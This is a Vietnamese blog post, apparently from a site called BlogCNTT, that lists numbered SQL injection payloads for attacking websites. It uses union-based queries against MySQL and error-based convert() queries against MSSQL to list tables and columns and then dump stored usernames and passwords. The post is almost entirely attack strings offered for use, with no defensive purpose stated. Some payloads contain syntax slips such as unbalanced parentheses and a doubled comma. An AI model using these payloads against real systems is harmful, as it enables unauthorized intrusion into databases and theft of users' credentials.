Tổng hợp lại các bước Check Site lỗi SQL qua 2 dạng theo cách mình hiểu



+ SQL Basic
+ SQL ASPX
-------------------------------------------------------------
* Khai thác lỗi SQL cơ bản
   + Bước 1: order by 100-- -
   + Bước 2: union select 1,2,3,4,5,6,7,8,9,10-- -
   + Bước 3: union select 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables-- -
Rules: có thể sử dụng câu lệnh Unhex(hex

=>>Bước 3: union select 1,2,3,unhex(hex(group_concat(table_name))),5,6,7,8 ,9 from information_schema.tables-- -


   + Bước 4: union select 1,2,3,group_concat(column_name),5,6,7,8,9 from information_schema.columns where table_schema=database()--



   + Bước 5: union select 1,2,3,group_concat(column_name),5,6,7,,8,9 from information_schema.columns where table_schema=database() and table_name=0x... -- -
    chú ý: ở chổ "..." là table mà  được mã hóa sang mã hex
=>> được username và password
   + Bước 6: union select 1,2,3,group_concat(username,0x20,password,0x20),5, 6,7,8,9 from table_name
--------------------- The End Check Site SQL Basic --------------------

* Khai thác lỗi SQL ASPX

   + Bước 1: and 1=convert(int,(select top 1 table_name from information_schema.tables))-- -


   + Bước 2: and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_DangNhap')-- -
    < not in (.....)-- -> viết lệnh tiếp để ra các table, có nghĩa là khi bạn có được "tbl" nào đó thì mình bỏ tiếp cái "tbl" đó vào để check cho nó xuất hiện "tbl" tiếp theo



   + Bước 3: and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_DangNhap') ))-- -
=>> được thông số 'ID' tiếp
    and 1=convert(int,(select top 1 column name from information_schema.columns where table_name=('tbl_DangNhap') and column_name not in('ID') ))-- -
    được thông số 'username' tiếp
    and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_DangNhap') and column_name not in ('ID'),'username') ))-- -
    được thông số password


   + Bước 4: Khai thác thông tin username và password:
    username:
    and 1=convert(int,(select top 1 username from tbl_DangNhap))-- -
    passord:
    and 1=convert(int,select top 1 password from tbl_DangNhap))-- -



Chia Sẻ:
Magpress

MagPress

Vestibulum bibendum felis sit amet dolor auctor molestie. In dignissim eget nibh id dapibus. Fusce et suscipit orci. Aliquam sit amet urna lorem. Duis eu imperdiet nunc, non imperdiet libero.

0 comments so far,add yours

Cám ơn đã ghé thăm BlogCNTT!
- Mọi thắc mắc, gợi ý hoặc bình luận xin chia sẻ bên dưới hoặc Liên Hệ
- Hãy viết bằng tiếng Việt có dấu để mọi người dễ đọc hơn!
Thank You!